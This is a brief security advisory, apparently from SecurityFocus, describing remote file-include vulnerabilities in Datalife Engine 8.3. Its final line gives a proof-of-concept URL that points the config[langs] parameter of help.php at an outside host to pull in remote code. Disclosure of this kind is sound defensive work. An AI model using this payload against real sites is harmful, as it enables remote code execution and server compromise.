source: http://www.securityfocus.com/bid/37851/info
 
Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.
 
Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/inc/help.php?config[langs]=http://www.example2.com